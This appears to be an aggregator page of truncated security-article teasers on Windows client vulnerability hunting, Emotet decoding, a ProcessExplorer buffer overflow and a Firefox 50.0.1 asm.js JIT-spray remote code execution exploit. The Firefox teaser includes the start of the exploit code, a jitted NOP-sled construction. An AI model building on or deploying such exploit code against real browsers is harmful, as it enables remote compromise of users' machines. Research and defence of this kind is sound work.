Practical introduction to the Windows PC client common vulnerability discovery-vulnerability warning-the black bar safety net

0X00 why write this article For white, the WEB security aspect seems to have got a complete knowledge of the system and the loopholes in the excavation process, just getting started friends always like to choose the web direction as their direction of development, because for web systems...

Malware analysis: decoding Emotet, part 1

Emotet Banking Trojan malware has been around for quite some time now. As such, infosec researchers have made several attempts to develop tools to de-obfuscate and even decrypt the AES-encrypted code belonging to this malware. The problem with these tools is that they target active versions of th...

Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution

Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution function asmjsmodule "use asm"; / huge jitted nop sled / function payloadcode var val = 0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val +...

ProcessExplorer system monitoring tool buffer overflow

Buffer overflow during parsing of CompanyName and VersionInfo PE file headers of running process...